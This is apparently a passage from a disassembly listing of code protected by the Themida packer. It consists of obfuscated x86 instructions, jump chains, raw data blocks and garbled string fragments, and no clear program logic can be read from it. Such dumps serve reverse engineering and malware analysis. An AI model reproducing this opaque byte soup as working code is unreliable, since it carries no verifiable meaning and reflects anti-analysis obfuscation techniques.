		push	7023h
		mov	[esp], ecx
		mov	ecx, 27355A21h
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_552195
; ---------------------------------------------------------------------------

loc_552A51:				; CODE XREF: Themida_:0054B72Dj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5485E1
; ---------------------------------------------------------------------------

loc_552A67:				; CODE XREF: Themida_:005493FAj
		pop	ebp
		mov	eax, [ecx]
		pop	ecx
		push	edx
		jmp	loc_54FD53
; ---------------------------------------------------------------------------

loc_552A71:				; CODE XREF: Themida_:0054ABF3j
		mov	dh, 27h
		add	bl, 0F8h
		sub	bl, dh
		push	dx
		mov	dh, 0F8h
		add	bl, 0F1h
		jmp	loc_548FFA
; ---------------------------------------------------------------------------
		dd 682968h, 241C8900h, 79C168h,	6935E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A96:				; CODE XREF: Themida_:0054F7A0j
		mov	[esp], ecx
		jmp	loc_549207
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF8C8Eh, 0E952E389h, 0FFFFE854h
; ---------------------------------------------------------------------------

loc_552AAC:				; CODE XREF: Themida_:0054FBE8j
		shl	ebx, 5
		jmp	loc_548068
; ---------------------------------------------------------------------------

loc_552AB4:				; CODE XREF: Themida_:0054FB92j
		push	eax
		mov	al, 62h
		xchg	bh, al
		jmp	loc_54F7A5
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 510B38D9h, 8324148Bh, 0C78104C4h, 2,	8B243C87h, 24D32424h
		dd 15E99C24h, 8BFFFF44h, 89532404h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 4EC835Ch, 54241C89h, 19FE9h, 0D830AC00h
		dd 34B75366h, 8B66F800h, 8956241Ch, 4C681E6h, 0E9000000h
		dd 0FFFF8261h, 4C48359h, 4ACF68h, 7F8FE900h, 0E9ADFFFFh
		dd 0FFFF772Dh, 68243489h, 3CFF34D2h, 0D1E9465Eh, 1FFFFEDh
		dd 58B5E9EAh, 8B66FFFFh, 8951240Ch, 4C181E1h, 0E9000000h
		dd 0FFFF6256h, 98CFE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552B5E:				; CODE XREF: Themida_:0054DA63j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_54CD2A
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 359CB9E8h, 295FF829h, 96E958C2h, 1FFFFDDh, 0FEBE56E9h
		dd 0F73EF63Bh, 0BCB850DEh, 2964E106h, 0D1E958C6h, 0B9FFFFC9h
		dd 56341204h, 0C101E983h, 0D1F706E9h, 386F181h,	0DBE952A6h
		dd 0FFFFFFC2h, 589D1C77h, 9C240419h, 0FFF131E9h, 6D51B8FFh
		dd 0C531A109h, 0E924048Bh, 0FFFFFA31h, 5BDF8966h, 0E9F83166h
		dd 0FFFF99DFh, 2C5F1A0Dh, 0FB29E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552BE2:				; CODE XREF: Themida_:005522A9j
		or	edi, 4B6B1709h
		jmp	loc_54EA71
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 9C5166C8h, 0FF42FBE9h, 0BFE951FFh, 66FFFF61h, 660EC768h
		dd 0E9240489h, 0FFFF42E8h, 24048B66h, 4EC81h, 0C8E90000h
		dd 81FFFFE2h, 4C4h, 87ABE900h, 0EB00FFFFh, 86E9h, 4BB00h
		dd 0DF010000h, 243C875Bh, 42B6E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C3E:				; CODE XREF: Themida_:00547122j
		xor	ebx, [esp]
		jmp	loc_5508E2
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E97BB024h, 0FFFFA387h, 21EE68h, 24248900h, 4240483h
		dd 8B2434FFh, 0C4832404h, 4C48304h, 4EC81h, 1C890000h
		dd 4BB24h, 52D0000h, 15AFB5Bh, 5B0505D8h, 0E95B5AFBh, 0FFFF7CC2h
		dd 0E32657B9h, 15E9814Dh, 81020D22h, 275036C1h,	0E9CF01D5h
		dd 0FFFF997Fh, 5D4FE95Bh, 48BFFFFh, 7D3E6824h, 64E90000h
		dd 59FFFFD7h, 2850C380h, 50EB80EBh, 5978EB80h, 1C8BD830h
		dd 4C48324h, 8904EC83h,	0EC81240Ch, 4, 0FFBF10E9h, 0C8295DFFh
		dd 68525559h, 7B6977E5h, 5A2434FFh, 0FFEB30E9h,	97C181FFh
		dd 21DB9620h, 0C68159CEh, 299306CAh, 2E26C681h,	0F6814F3Ah
		dd 99CD3D97h, 0E95EF701h, 0FFFF6EB2h, 5C243C87h, 0BD37E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552D1A:				; CODE XREF: Themida_:0054AEA6j
		pop	edi
		jmp	loc_548784
; ---------------------------------------------------------------------------

loc_552D20:				; CODE XREF: Themida_:0054878Fj
		push	21Dh
		mov	[esp], edx
		push	3FE5h
		jmp	loc_54CD9A
; ---------------------------------------------------------------------------
		dw 8966h
		dd 96E9241Ch, 50FFFFE8h, 663168h, 0C74FE900h, 0EE81FFFFh
		dd 8632AD2h, 0C681D601h, 8632AD2h, 8324148Bh, 0F00104C4h
		dd 5E2434FFh, 4C481h, 0C3310000h, 0E9008F66h, 0FFFF4184h
; ---------------------------------------------------------------------------

loc_552D70:				; CODE XREF: Themida_:0054ED50j
		add	ebp, 28CB5534h
		and	eax, ebp
		pop	ebp
		jmp	loc_54BCD7
; ---------------------------------------------------------------------------
		dw 0A722h
		dd 0
		dd 6D6F0000h, 0EEEA005Ah, 0FA06h, 69DD0000h, 30400A0h
		dd 2077FFEh, 20000h, 10000h, 50000h, 0EEEA0000h, 0FA06h
		dd 4 dup(0)
		dd 99B70000h, 0AD8A0055h, 3D480055h, 384D0056h,	6E770056h
		dd 47F60055h, 5A4F0056h, 9AAA0056h, 0A200055h, 0D2490056h
		dd 0E1960055h, 299D0055h, 7B020056h, 9B930056h,	88E20055h
		dd 8920055h, 0E0C70056h, 831D0055h, 4A310056h, 2C140056h
		dd 40340056h, 4FBA0055h, 0B8E20055h, 4B5E0055h,	36F00056h
		dd 0ED7D0056h, 63C70055h, 62D20055h, 77140056h,	9BAF0055h
		dd 59C30055h, 0C7BE0055h, 0B3C70055h, 9F550055h, 84190055h
		dd 0A9C20055h, 76030055h, 65490055h, 88AC0055h,	12510055h
		dd 746E0056h, 84990056h, 0E7650055h, 40620055h,	3F8F0056h
		dd 36E70056h, 786A0056h, 0F79B0056h, 0F1020055h, 0D8030055h
		dd 1A570055h, 579E0056h, 12980055h, 0C1EE0056h,	51800055h
		dd 33D70056h, 77A80056h, 9BCD0056h, 75050055h, 48D10056h
		dd 49590055h, 0C7ED0056h, 86230055h, 44630056h,	31CC0056h
		dd 8C110056h, 54F0056h,	50DC0056h, 0D9E90056h, 4C750055h
		dd 0F53C0056h, 12D90055h, 5BA10056h, 0AF8B0055h, 0E7EA0055h
		dd 45AB0055h, 0F4950056h, 45E50055h, 3C500056h,	91120056h
		dd 9830055h, 981A0056h,	47F70055h, 57120055h, 36980056h
		dd 0AA940055h, 0E7A00055h, 0BA2B0055h, 31C40055h, 42300056h
		dd 0EC760056h, 9EA80055h, 166A0055h, 876A0056h,	8A780055h
		dd 0BB30056h, 0B5350056h, 8F4D0055h, 0D1FF0055h, 13B60055h
		dd 266E0056h, 920056h, 25DB0056h, 0FB8C0056h, 60930055h
		dd 0E3F10055h, 24870055h, 42700056h, 96690055h,	779A0055h
		dd 51F40056h, 5DAA0056h, 8BEE0055h, 0B20056h, 0C6BB0056h
		dd 873A0055h, 0ACD10056h, 96750055h, 56D80055h,	0C96D0055h
		dd 41D90055h, 85140055h, 1D270056h, 0BDC20056h,	932F0055h
		dd 58CF0055h, 6B210055h, 2CA20056h, 7C1C0056h, 56690055h
		dd 5FAC0056h, 111A0056h, 0EF190056h, 20910055h,	5CE90056h
		dd 0C4920056h, 46B50055h, 0B9350056h, 4C010055h, 54CD0055h
		dd 86BE0055h, 371F0056h, 787A0055h, 70DA0056h, 0AB8A0056h
		dd 7F580055h, 0C2BD0056h, 3A730055h, 8E260055h,	0ACFF0055h
		dd 60CE0055h, 0FC9C0055h, 19830055h, 1C860056h,	2B290056h
		dd 0EF510056h, 4D2B0055h, 9AE60055h, 81910055h,	82150056h
		dd 53590056h, 814F0055h, 48D90055h, 2D780055h, 3820056h
		dd 0F7DB0056h, 63B00055h, 9C600056h, 0E8FCh, 815F0000h
		dd 4E417CEFh, 81C78B06h, 4E3E94C7h, 2C473B06h, 13EB0275h
		dd 0B92C4789h, 0A7h, 440105EBh,	0B49408Fh, 8BF775C9h, 8B242474h
		dd 0B9F003DEh, 1, 0FF0C033h, 75304FB1h
		db 0F7h
; ---------------------------------------------------------------------------

loc_5530A5:				; CODE XREF: Themida_:005533F3j
					; Themida_:loc_553AC1j	...
		lodsb
		push	ebx
		jmp	loc_55E93D
; ---------------------------------------------------------------------------

loc_5530AC:				; CODE XREF: Themida_:0055E631j
		add	esp, 4
		sub	dl, 99h
		sub	ah, dl
		pop	edx
		jmp	loc_563475
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 7AAE62D1h, 0AAC28159h, 53604C13h, 0D86644BBh, 0C3814B23h
		dd 6F2E4608h, 0B6C3814Bh, 0E96CF953h, 145FFh, 6804C483h
		dd 7FAEh, 68243489h, 4,	56BBE9h, 1FE95B00h, 2D000079h
		dd 577B7727h, 11F38E9h,	4C68100h, 33000000h, 34312434h
		dd 24343324h, 15B98E9h,	46BD5B00h, 18667DDh, 2434FFDDh
		dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	0C4835C24h
		dd 0FFE82104h, 0FAE92434h, 66000119h, 5E66F329h, 8904EC83h
		dd 6866242Ch, 5D665097h, 0AFE94566h, 0B000004Ah, 5E0C02Bh
		dd 7324A22Ch, 1521DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55316D:				; CODE XREF: Themida_:0055FA48j
		dec	esi
		push	edi
		jmp	loc_55FFC4
; ---------------------------------------------------------------------------
		dd 0C381C301h, 6AE5D0Bh, 7599E950h, 0E95C0000h,	613h, 42474FFh
		dd 0BDA9E9h, 0C1D7F700h, 0C78108EFh, 236AD0E9h,	815FFE29h
		dd 4F58FFC6h, 34875B72h, 24248B24h, 5282E9h, 24048300h
		dd 24048F04h, 8904EC83h, 0BA522434h, 4,	148BD689h, 42FCE924h
		dd 0C8B0001h, 2CB4E924h, 89500000h, 405E0h, 4CE90000h
		db 0Bh,	1, 0
; ---------------------------------------------------------------------------

loc_5531E3:				; CODE XREF: Themida_:00558C32j
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3E3C0D88h
		push	ebx
		jmp	loc_561F26
; ---------------------------------------------------------------------------

loc_5531FE:				; CODE XREF: Themida_:00561305j
		sub	ebp, 522310C4h
		shl	ebp, 8
		push	ebx
		mov	ebx, 3D395AD7h
		jmp	loc_56811D
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 7603C781h, 0EF8147AAh, 617103h, 10C39E9h
		db 0
; ---------------------------------------------------------------------------

loc_553225:				; CODE XREF: Themida_:005689F1j
		mov	ebx, 0EB47964Ah
		add	ecx, ebx
		pop	ebx
		jmp	loc_55CEBB
; ---------------------------------------------------------------------------
aWs		db 'WéÕê',0
		align 4
		dd 5A66F300h, 4504E9h, 2424D200h, 0FE5BE99Ch, 815EFFFFh
		dd 0A46158EAh, 0FE4FE93Bh, 0E668FFFFh, 89000077h, 0FBBD242Ch
		dd 5261067Dh, 0CD41DEBAh, 12F28165h, 0F72DDE7Bh, 0E5C68D2h
		dd 14890000h, 74FF5524h, 2C8B0424h, 7917E924h, 0C32C0000h
		dd 0C304F828h, 4BA5E95Bh, 34FF0000h, 4D86E924h,	0D7010001h
		dd 0D371E95Ah, 0C6810000h, 7ACD4881h, 5AA3F681h, 2F2D54D2h
		dd 0E9530D1Dh, 724Eh
; ---------------------------------------------------------------------------

loc_5532B8:				; CODE XREF: Themida_:00567CA8j
		pop	esi
		add	ebx, 6E08256Ah
		or	ebx, 5ECA6F93h
		not	ebx
		sub	ebx, 0C4C96BB6h
		and	eax, ebx
		pop	ebx
		xor	eax, 8200404h
		push	ecx
		mov	ecx, eax
		push	esi
		mov	esi, ecx
		mov	edi, esi
		jmp	loc_557B00
; ---------------------------------------------------------------------------
		dw 555Dh
		dd 4BDh, 5DE80100h, 31240433h, 4332404h, 24248B24h, 8324048Bh
		dd 48904ECh, 4EC8124h, 68000000h, 5E8Ah, 83242489h, 8F042404h
		dd 0E9522404h, 34EEh, 815AD601h, 0FFFFFFC6h, 0FFEE83FFh
		dd 276E6857h, 34890000h, 23BCBE24h, 0EE812EB4h,	0CF031B88h
		dd 3DA1E951h
		db 1, 0
; ---------------------------------------------------------------------------

loc_553342:				; CODE XREF: Themida_:00557C41j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebp
		jmp	loc_560A40
; ---------------------------------------------------------------------------

loc_55334F:				; CODE XREF: Themida_:00557142j
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5536CA
; ---------------------------------------------------------------------------
		dd 0C5FEEDD0h, 0E905EDC0h, 2222h, 815BDE01h, 0A13550EEh
		dd 1B7CE969h, 0DE870000h, 0DE87D3F7h, 0D985F681h, 0F709B370h
		dd 112A6E9h, 0C7015B00h, 0E924048Bh, 0B0F7h, 4C681h, 0B9510000h
		dd 2, 3359CE29h, 34312434h, 24343324h, 6624248Bh, 0E9241489h
		dd 9C64h, 0BA52E589h, 2F6761EDh, 5802BD55h, 0D3E94B26h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5533CB:				; CODE XREF: Themida_:00564611j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 0E5E9C4FEh, 5B0000C3h, 808AE280h, 0BBE9B4E2h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55340B:				; CODE XREF: Themida_:00567122j
		add	edi, 3C766A2Bh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 79E774E2h
		sub	edi, edx
		jmp	loc_565338
; ---------------------------------------------------------------------------

loc_553426:				; CODE XREF: Themida_:0055850Bj
		push	dword ptr [esp+4]
		jmp	loc_555F15
; ---------------------------------------------------------------------------
		align 10h
		dd 535B66F8h, 806BB252h, 0CAFEE3F2h, 14D8EE9h, 242C3100h
		dd 5C242C33h, 9CC88566h, 0FFFC54E9h, 81565DFFh,	4ECh, 240C8900h
		dd 0A34A33B9h, 66BEE925h, 0C1830000h, 0A697E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55346E:				; CODE XREF: Themida_:0055B1A1j
		add	esi, ebp
		pop	ebp
		jmp	loc_55A949
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 178A9179h, 4E05E9h, 240C8B00h, 0AF11E9h
		db 0
; ---------------------------------------------------------------------------

loc_553489:				; CODE XREF: Themida_:0056436Cj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_561C70
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 472CC781h, 0C701242Bh, 472CEF81h,	86E9242Bh, 0BA000094h
		dd 1F824814h, 5D5BEA81h, 4AE9E2B3h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5534C7:				; CODE XREF: Themida_:00564742j
		sub	ebp, 40B63778h
		jmp	loc_564311
; ---------------------------------------------------------------------------

loc_5534D2:				; CODE XREF: Themida_:00567A11j
		mov	ebp, [esp]
		jmp	loc_55C7F3
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 0F7F7BD55h, 0EF31CD0Dh, 80A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_5534E9:				; CODE XREF: Themida_:0055AF21j
		xor	ebp, 2730815h
		sub	ebp, 5E01A5B5h
		push	5644h
		jmp	loc_56614D
; ---------------------------------------------------------------------------

loc_5534FF:				; CODE XREF: Themida_:0055E6C8j
		add	esp, 4
		jmp	loc_566492
; ---------------------------------------------------------------------------
		db 66h
		dd 1B15150h, 0ECD3E9h
		db 0
; ---------------------------------------------------------------------------

loc_553511:				; CODE XREF: Themida_:005545A2j
		pop	dword ptr [edi+20h]
		jmp	loc_55CA59
; ---------------------------------------------------------------------------

loc_553519:				; CODE XREF: Themida_:0056348Fj
		add	esi, 626970A1h
		inc	esi
		xor	esi, 46FA34D8h
		shr	esi, 5
		xor	esi, 2B2B6D0Bh
		xor	esi, 529D0DC7h
		mov	eax, esi
		pop	esi
		xor	ebx, eax
		pop	eax
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_566C0A
; ---------------------------------------------------------------------------

loc_553551:				; CODE XREF: Themida_:0055358Fj
		pop	eax
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55CB17
; ---------------------------------------------------------------------------
		dw 3AE9h
		dd 5AFFFFFBh, 66C0B60Fh, 0E924148Bh, 2F72h
; ---------------------------------------------------------------------------

loc_553578:				; CODE XREF: Themida_:00564FC3j
		push	54B7h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_553551
; ---------------------------------------------------------------------------
		dd 5C241C87h, 881E955h,	0DF290001h, 7DC7815Bh, 89718B0Fh
		dd 87525FFAh, 0D5F7242Ch, 0E9242C87h, 133Eh, 96E9B704h
		dd 0BB0000BDh, 4, 4245C01h, 2434FF5Bh, 0D4ADE958h, 0FB310000h
		dd 9EE9565Fh, 6600000Ch, 661B8205h, 2D66D029h, 0E95A1B82h
		dd 1157Ah, 4C481h, 9F680000h, 89000054h, 38E92414h, 45000051h
		dd 0F187EE87h, 3B2DE981h, 0CA01A1FAh, 24148759h, 4030E9h
		dd 78A3BF00h, 0FB01734Bh, 81243C8Bh, 4C4h, 68FB0100h, 3BF6h
		dd 968FE9h, 7E1B3500h, 0D0F71698h, 0B328E9h
		db 0
; ---------------------------------------------------------------------------

loc_55363D:				; CODE XREF: Themida_:0055AE84j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_564604
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 8Fh
		dd 9E629EFh, 0B9515EF0h, 610E3534h, 10541E9h, 81CD0100h
		dd 40109FEDh, 0A948E941h, 0D5F70000h, 3968DDF7h, 8900003Ah
		dd 0B8502434h, 4C0B4D8Eh, 8605E405h, 0E8C14839h, 5BD32D03h
		dd 0C6896FBEh, 6CED8158h, 0E93F2076h, 2F58h, 24048B66h
		dd 4EC81h, 7AE90000h, 5B000080h, 8904EC83h, 0BE2434h, 57010F57h
		dd 0BFh, 31F72900h, 31F731FEh, 0DEF75FFEh, 3896E94Eh
		db 1, 0
; ---------------------------------------------------------------------------

loc_5536CA:				; CODE XREF: Themida_:00553357j
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5B82267Fh
		jmp	loc_563546
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 2CD5E945h, 81660001h, 602246Ch, 5401662Eh, 81660224h
		dd 6022444h, 148B662Eh,	7B0D6824h, 14890000h, 0E9E28924h
		dd 614Ah, 0A0EF81h, 0C78108D3h,	42EDDF41h, 0DDE9FD89h
		dd 66000143h, 68240C8Bh, 4DFFh,	89240489h, 6EC5E9E0h, 0E9540000h
		dd 0ADE7h
; ---------------------------------------------------------------------------

loc_553738:				; CODE XREF: Themida_:00561EE5j
		pop	edi
		sub	esi, 39081135h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F15C
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 34875AD6h,	4AE95C24h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55375B:				; CODE XREF: Themida_:0055A32Fj
		mov	edx, 333A6653h
		add	ecx, edx
		pop	edx
		sub	ecx, eax
		jmp	loc_55A10C
; ---------------------------------------------------------------------------

loc_55376A:				; CODE XREF: Themida_:00554D09j
		push	esi
		mov	esi, 4
		jmp	loc_5654E1
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F0010000h, 42D5Eh, 4870000h, 2C895C24h, 32706824h
		dd 1C890000h, 305CBB24h, 55E9439Ah, 890000BCh, 22B42404h
		dd 644BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5537A5:				; CODE XREF: Themida_:005569A5j
		add	ebp, 19C88D0Eh
		sub	edx, ebp
		pop	ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		shr	eax, 8
		jmp	loc_559622
; ---------------------------------------------------------------------------
		dd 56585450h, 874276BEh, 46B3E90Eh
		db 1, 0
; ---------------------------------------------------------------------------

loc_5537DA:				; CODE XREF: Themida_:005675E0j
		mov	edi, [esp]
		jmp	loc_55F173
; ---------------------------------------------------------------------------
		dw 0D1F6h
		dd 11A38E9h, 80CEFE00h,	0CE80E0EEh, 90F680D8h, 0EE80CEFEh
		dd 0E92004E9h, 85D0h, 0B7241C89h, 4E7C024h, 6616B551h
		dd 9D92E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553812:				; CODE XREF: Themida_:0055DA48j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	74D5h
		mov	[esp], eax
		push	4
		pop	eax
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C52B
; ---------------------------------------------------------------------------
		dd 0EB80C328h, 0AFEB80EBh, 0E92434FFh, 15243h, 0C058B753h
		dd 0F78002EFh, 1AC78062h, 2CA7C780h, 4F8285Dh, 241C8B5Dh
		dd 4C481h, 2C5B0000h, 4D8288Ah,	0E9CB2C8Ah, 0BCA1h, 1AC6E981h
		dd 348B4A1Bh, 4C48124h,	55000000h, 4BDh, 3527E900h, 4F050001h
		dd 0E932F535h, 60D7h
; ---------------------------------------------------------------------------

loc_55389C:				; CODE XREF: Themida_:0055DDE8j
		push	4
		pop	eax
		jmp	loc_556CB0
; ---------------------------------------------------------------------------

loc_5538A7:				; CODE XREF: Themida_:0055CDEAj
		push	esi
		push	edx
		mov	edx, 15E97DA7h
		add	edx, 156ED18Fh
		jmp	loc_55631D
; ---------------------------------------------------------------------------
		db 59h,	87h, 4
		dd 24248B24h, 242CD366h, 0F7DBE99Ch, 2540FFFFh,	6E3C2D36h
		dd 404BE9h, 0D6F74600h,	0E94ED6F7h, 491Eh
; ---------------------------------------------------------------------------

loc_5538E0:				; CODE XREF: Themida_:0055784Cj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 688F49DBh
		jmp	loc_565F29
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48159h, 0E9000000h, 0FFFFF799h, 4BFh, 5FF90100h, 5C240C87h
		dd 0DAB35366h, 8B66D800h, 0C483241Ch, 53D80002h, 0B8E9DAB7h
		dd 8B000115h, 0C481242Ch, 4, 525F5457h,	9764E9h, 240C8900h
		dd 0B63B38B9h, 0C1D9F72Ah, 0E95208E9h, 0FFFFFB63h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5631F2
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0C6810000h, 71A315E2h, 0D745E9h, 0B6685100h,	0E978D36Dh
		dd 18D9h, 4C4815Fh, 53000000h, 0C3815B54h, 4, 0FEC9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5539A5:				; CODE XREF: Themida_:0056288Dj
		sub	eax, 559E0A2Eh
		jmp	loc_5627E4
; ---------------------------------------------------------------------------

loc_5539AF:				; CODE XREF: Themida_:00560FB3j
		mov	[esp], eax
		push	esi
		mov	esi, 75C25A0Fh
		mov	eax, 0E2437D1h
		xor	eax, esi
		pop	esi
		shl	eax, 2
		sub	eax, 0EF99B774h
		add	edx, eax
		jmp	loc_55E086
; ---------------------------------------------------------------------------

loc_5539CF:				; CODE XREF: Themida_:0055905Aj
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 3A0407DCh
		not	esi
		push	ebx
		jmp	loc_55F60C
; ---------------------------------------------------------------------------
		dw 1489h
aHA		db '$hÝA',0
		align 2
		dw 1C89h
		dd 2D6A6824h, 1C8B55B5h, 4C48324h, 32D8B850h, 0E0C1009Ah
		dd 11092508h, 0DF056ACBh, 0C147202Ah, 0E94002E0h, 8DB3h
		dd 0FE0DE180h, 85E980C1h, 5159CC88h, 0E18093B1h, 3E9C0C9h
		dd 6608E9C0h, 2870B252h, 0C05A66D1h, 0F18005E9h, 59CC00F8h
		dd 8603ECC0h, 0DA8852DCh, 0D388D2F6h, 20E1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553A52:				; CODE XREF: Themida_:00555436j
		push	small 2D5Eh
		mov	[esp], cx
		mov	ch, 0EDh
		neg	ch
		sub	ch, 51h
		add	ch, 93h
		not	ch
		inc	ch
		push	ebx
		mov	bh, 0F9h
		or	bh, 90h
		jmp	loc_554128
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 1111h, 81241C89h,	4ECh, 48F5400h,	191E924h
		dd 0BB530000h, 19334715h, 611BB951h, 0E9813F40h, 0E04943BAh
		dd 7590E9h
		db 0
; ---------------------------------------------------------------------------

loc_553AA5:				; CODE XREF: Themida_:00562F69j
		mov	[esp], esi
		push	ebp
		jmp	loc_559802
; ---------------------------------------------------------------------------
		dw 0CD89h
		dd 59FCBF59h, 0C7815ADDh, 718650Dh, 498DE9h
		db 0
; ---------------------------------------------------------------------------

loc_553AC1:				; CODE XREF: Themida_:00554205j
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0E9241C87h, 13A4Fh, 6804C483h, 679h, 0B5240C89h
		dd 5579E9C8h, 3C870000h, 0D7E3E924h, 65BD0000h,	0C16E4803h
		dd 0D14502EDh, 2E5C1E5h, 3A9CF581h, 0F745D5D6h,	22E945DDh
		dd 8100011Ah, 0A078EF5h, 5DE8292Ah, 8B2434FFh, 0C481243Ch
		dd 4, 2CA268h, 240C8900h, 84E9E189h
		db 3Dh,	1, 0
; ---------------------------------------------------------------------------

loc_553B2F:				; CODE XREF: Themida_:00555FA3j
		mov	ebx, 3C332548h
		shl	ebx, 3
		add	ebx, 0D5F1975Fh
		add	ebp, 75C91EFBh
		add	ebp, 691970A4h
		add	ebp, ebx
		sub	ebp, 691970A4h
		jmp	loc_55ED48
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 20FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553B5E:				; CODE XREF: Themida_:0055C9DBj
		shl	edx, 1
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	[edi+24h], eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	6B63h
		jmp	loc_55ABF3
; ---------------------------------------------------------------------------

loc_553B80:				; CODE XREF: Themida_:0055CA26j
		pop	esi
		jmp	loc_55428B
; ---------------------------------------------------------------------------
		dw 0F580h
aZs		db '‡éÃÈ',0
		align 2

loc_553B8E:				; CODE XREF: Themida_:00555E1Cj
		mov	[esp], ecx
		push	588Eh
		mov	[esp], ebx
		push	4C6F39CCh
		pop	ebx
		dec	ebx
		push	eax
		jmp	loc_55EB91
; ---------------------------------------------------------------------------
		dw 3431h
		dd 34AE924h, 14330001h,	7CD6E924h, 835F0000h, 3C8904ECh
		dd 15FCE924h, 3C890000h, 4BF24h, 0BF570000h, 105B4861h
		dd 0E95FFA01h, 769h, 68665A66h,	0EE94FA9h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553BE3:				; CODE XREF: Themida_:00559D76j
		mov	edx, [esp]
		jmp	loc_553F85
; ---------------------------------------------------------------------------
aS_5		db '(Ñé ',7,0
		align 2
aFsFSysFh	db 'fS³{(Ýf[(èYS·Ûfh',0
		align 4
		dd 8A243C28h, 0C483243Ch, 80C7FE02h, 0D7F612F7h, 9DB55166h
		dd 79E9EF00h, 68000004h, 56D8h,	50243C89h, 4B8h, 58C78900h
		dd 0A24DE9h
		db 0
; ---------------------------------------------------------------------------

loc_553C35:				; CODE XREF: Themida_:005639FCj
		mov	esi, 1358574Fh
		sub	ebx, 440F4AA2h
		jmp	loc_561B54
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 3487D6F7h, 0FD875F24h, 61CDC581h, 0ADE91DA9h, 51000114h
		dd 0C7E9E189h, 510000A5h, 702137B9h, 8BC80177h,	8953240Ch
		dd 0B4BA52E3h, 0E929324Ah, 871Fh, 0E95BD931h, 7D6Dh, 0E9D2F742h
		dd 0A414h
; ---------------------------------------------------------------------------

loc_553C8C:				; CODE XREF: Themida_:00562A53j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56037C
; ---------------------------------------------------------------------------
